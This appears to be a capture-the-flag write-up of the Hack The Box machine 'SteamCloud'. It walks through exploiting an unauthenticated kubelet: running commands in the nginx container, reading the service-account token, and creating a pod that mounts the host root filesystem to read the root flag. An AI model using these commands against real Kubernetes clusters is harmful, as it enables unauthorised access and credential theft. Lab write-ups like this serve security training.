Post

SteamCloud

SteamCloud

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
sudo nmap -PN -sC -sV -oN steamCloud 10.10.11.133
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 13:46 PKT
Nmap scan report for 10.10.11.133
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
8443/tcp open  ssl/http Golang net/http server
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2025-08-20T08:19:01
|_Not valid after:  2028-08-20T08:19:01
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 0e72dbfb-2b96-497b-be5a-15251452fea5
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: e26edf2b-4856-4b04-914f-6e3560a168ab
|     X-Kubernetes-Pf-Prioritylevel-Uid: e3a0db79-92fd-4aa2-a94d-d8214b95e9df
|     Date: Thu, 21 Aug 2025 08:21:43 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 53dafeb3-0cb4-4555-838e-8ffe97b40eb3
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: e26edf2b-4856-4b04-914f-6e3560a168ab
|     X-Kubernetes-Pf-Prioritylevel-Uid: e3a0db79-92fd-4aa2-a94d-d8214b95e9df
|     Date: Thu, 21 Aug 2025 08:21:42 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: d35507d0-5df8-48d7-8a63-a8e391e73e6b
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: e26edf2b-4856-4b04-914f-6e3560a168ab
|     X-Kubernetes-Pf-Prioritylevel-Uid: e3a0db79-92fd-4aa2-a94d-d8214b95e9df
|     Date: Thu, 21 Aug 2025 08:21:42 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=8/21%Time=68A6DCE2%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2053daf
SF:eb3-0cb4-4555-838e-8ffe97b40eb3\r\nCache-Control:\x20no-cache,\x20priva
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20e26edf2b-4856-4b04-914f-6e
SF:3560a168ab\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20e3a0db79-92fd-4aa2-
SF:a94d-d8214b95e9df\r\nDate:\x20Thu,\x2021\x20Aug\x202025\x2008:21:42\x20
SF:GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/
SF:\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTTP
SF:Options,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20d35507d0-5df
SF:8-48d7-8a63-a8e391e73e6b\r\nCache-Control:\x20no-cache,\x20private\r\nC
SF:ontent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nX-Kubernetes-Pf-Flowschema-Uid:\x20e26edf2b-4856-4b04-914f-6e3560a16
SF:8ab\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20e3a0db79-92fd-4aa2-a94d-d8
SF:214b95e9df\r\nDate:\x20Thu,\x2021\x20Aug\x202025\x2008:21:42\x20GMT\r\n
SF:Content-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\
SF:",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20Us
SF:er\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\\
SF:"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(FourOhF
SF:ourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x200e72dbfb-
SF:2b96-497b-be5a-15251452fea5\r\nCache-Control:\x20no-cache,\x20private\r
SF:\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosni
SF:ff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20e26edf2b-4856-4b04-914f-6e3560
SF:a168ab\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20e3a0db79-92fd-4aa2-a94d
SF:-d8214b95e9df\r\nDate:\x20Thu,\x2021\x20Aug\x202025\x2008:21:43\x20GMT\
SF:r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"
SF:v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x2
SF:0User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice
SF:\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\"
SF::{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.07 seconds

The nmap results are unusual. We have an HTTP server on Port 8443 and I see lots of kubernetes in there.

We will do an all ports scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap 10.10.11.133 --max-retries=0 -T4 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 14:32 PKT
Warning: 10.10.11.133 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.10.11.133
Host is up (0.084s latency).
Not shown: 47968 closed tcp ports (reset), 17562 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
8443/tcp  open  https-alt
10250/tcp open  unknown
10256/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 28.15 seconds

We have an exposed kubelet on Port 10250, and 10256.

Kubelet allows for Direct Node Access, Privilege Escalation, Information Disclosure, Lateral Movement, and Persistence.

Enumerating Kubelet

We will start by enumerating kubelet:

1
2
curl -k https://10.10.11.133:10250/healthz
ok

A response means we can do more. Now we will try to dump pods information:

1
2
3
4
5
curl -k https://10.10.11.133:10250/pods

{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"storage-provisioner","namespace":"kube-system","uid":"070ba9f4-101e-4e06-9423-20b5ebfdc985","resourceVersion":"410","creationTimestamp":"2025-08-21T08:19:15Z","labels":{"addonmanager.kubernetes.io/mode":"Reconcile","integration-test":"storage-provisioner"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"
<SNIP>
}

We will list pods a bit more elegantly:

1
2
3
4
5
6
7
8
9
10
curl -sk https://10.10.11.133:10250/pods | jq '.items[].metadata.name'

"etcd-steamcloud"
"kube-apiserver-steamcloud"
"kube-controller-manager-steamcloud"
"kube-scheduler-steamcloud"
"kube-proxy-8qs6x"
"storage-provisioner"
"coredns-78fcd69978-nqgkw"
"nginx"

Foothold

Interacting with pods

From the previous pods list most of them were kubernetes component except for nginx.

We will interact with nginx and retrieve the container name:

1
2
3
curl -sk https://10.10.11.133:10250/pods \
  | jq '.items[] | select(.metadata.name=="nginx") | .spec.containers[].name'
"nginx"

Now, we will try to run commands on the container:

1
2
3
4
curl -sk -XPOST \
  "https://10.10.11.133:10250/run/default/nginx/nginx" \
  -d "cmd=id"
uid=0(root) gid=0(root) groups=0(root)

We are able to run commands, I tried getting a reverse shell but was unable to do so.

We will just try to enumerate through curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
curl -sk -XPOST \
  "https://10.10.11.133:10250/run/default/nginx/nginx" \
  -d "cmd=ls /"
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

On further enumeration we found the token for serviceaccount that could be used to authenticate and interact with the API.

1
2
3
4
curl -sk -XPOST \
  "https://10.10.11.133:10250/run/default/nginx/nginx" \
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6InYwVGZqQmMyVHZ2cUFVVWJrdDFOWTRUWUFwWUd1Y2piTy1NSjdxQ2tFTmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzg3MzAzMzM4LCJpYXQiOjE3NTU3NjczMzgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjdkNzE2MmVhLTYwOTEtNGQyOS1hMzI1LTA3MjY4NmZiMDczYyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjNkOTczZTViLTg1OWQtNDdhOC1iMzkxLWU5MDY1Y2IwODYxYyJ9LCJ3YXJuYWZ0ZXIiOjE3NTU3NzA5NDV9LCJuYmYiOjE3NTU3NjczMzgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.33i9nqiqPZl7eQDeBGQVUSzPPe3lHyh16baangyTEUkBrCmpYfk5lAdBi36zsKW1Hpgui5WKiOPBcWuDk7sF1DCKXGFYI2vCA8_CBGdo8L7ohdvn7Ro1tEag6bgsmAxglf3PF_Y0KBvPaQAlog5IMaJJTHzlxZgY6djmMtJ-zwOazdSLGyZAp9ul7qBhGI3yGUKEMmqhukkZJ2Jo7JIDVAx0MxD4Oes7QVYOeOMkXE8bPGPAL0dRyiwARpXqz44bVOlWgOUSnI2R2zz8EstSTNcxqL6JEWf5koGXbgKfkEb9jvTw8BqEvGgDwdZ2lNtXhaWXQwWUMrWA9DA3YbarSg

We will also take the ca.crt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443/ auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

This tells us that we can create our own pod and what other access we have using the token and cert.

Shell

I ended up trying to get/spawn a shell again and it worked?

1
2
3
4
kubeletctl -s 10.10.11.133 exec "/bin/bash" -p nginx -c nginx
root@nginx:/# whoami
whoami
root

I could have had the user flag much earlier but I was never expecting it to be in root directory:

1
2
3
4
5
6
7
8
root@nginx:/home# ls
ls
root@nginx:/home# ls /root/
ls /root/
user.txt
root@nginx:/home# cat /root/user.txt
cat /root/user.txt
b4d514e4f******

Creating our Pod

To get the root flag we will create our own malicious pod:

Let’s start with a yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1 
kind: Pod
metadata:
  name: marsh
  namespace: default
spec:
  containers:
  - name: marsh
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Then we will apply it:

1
2
3
4
5
6
kubectl --token=$token \
  --certificate-authority=ca.crt \
  --server=https://10.10.11.133:8443 \
  apply -f marsh.yaml

pod/nginxt created

Afterwards we will verify:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kubeletctl pods -s 10.10.11.133
┌─────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                                │
├────┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│    │ POD                                │ NAMESPACE   │ CONTAINERS              │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  1 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  2 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  3 │ coredns-78fcd69978-nqgkw           │ kube-system │ coredns                 │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  4 │ nginx                              │ default     │ nginx                   │
│    │                                    │             │                         │
├────┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│  5 │ marsh                              │ default     │ marsh  

Root Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ kubeletctl exec "ls /mnt/" -s 10.10.11.133 -p marsh -c marsh
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
                                                                                                                                            
┌──(kali㉿vm-kali)-[~/htb/steamCloud]
└─$ kubeletctl exec "ls /mnt/root" -s 10.10.11.133 -p marsh -c marsh
root.txt
                                                                                                                                            
┌──(kali㉿vm-kali)-[~/htb/steamCloud]
└─$ kubeletctl exec "cat /mnt/root/root.txt" -s 10.10.11.133 -p marsh -c marsh
55670e66ba*****

This post is licensed under CC BY 4.0 by the author.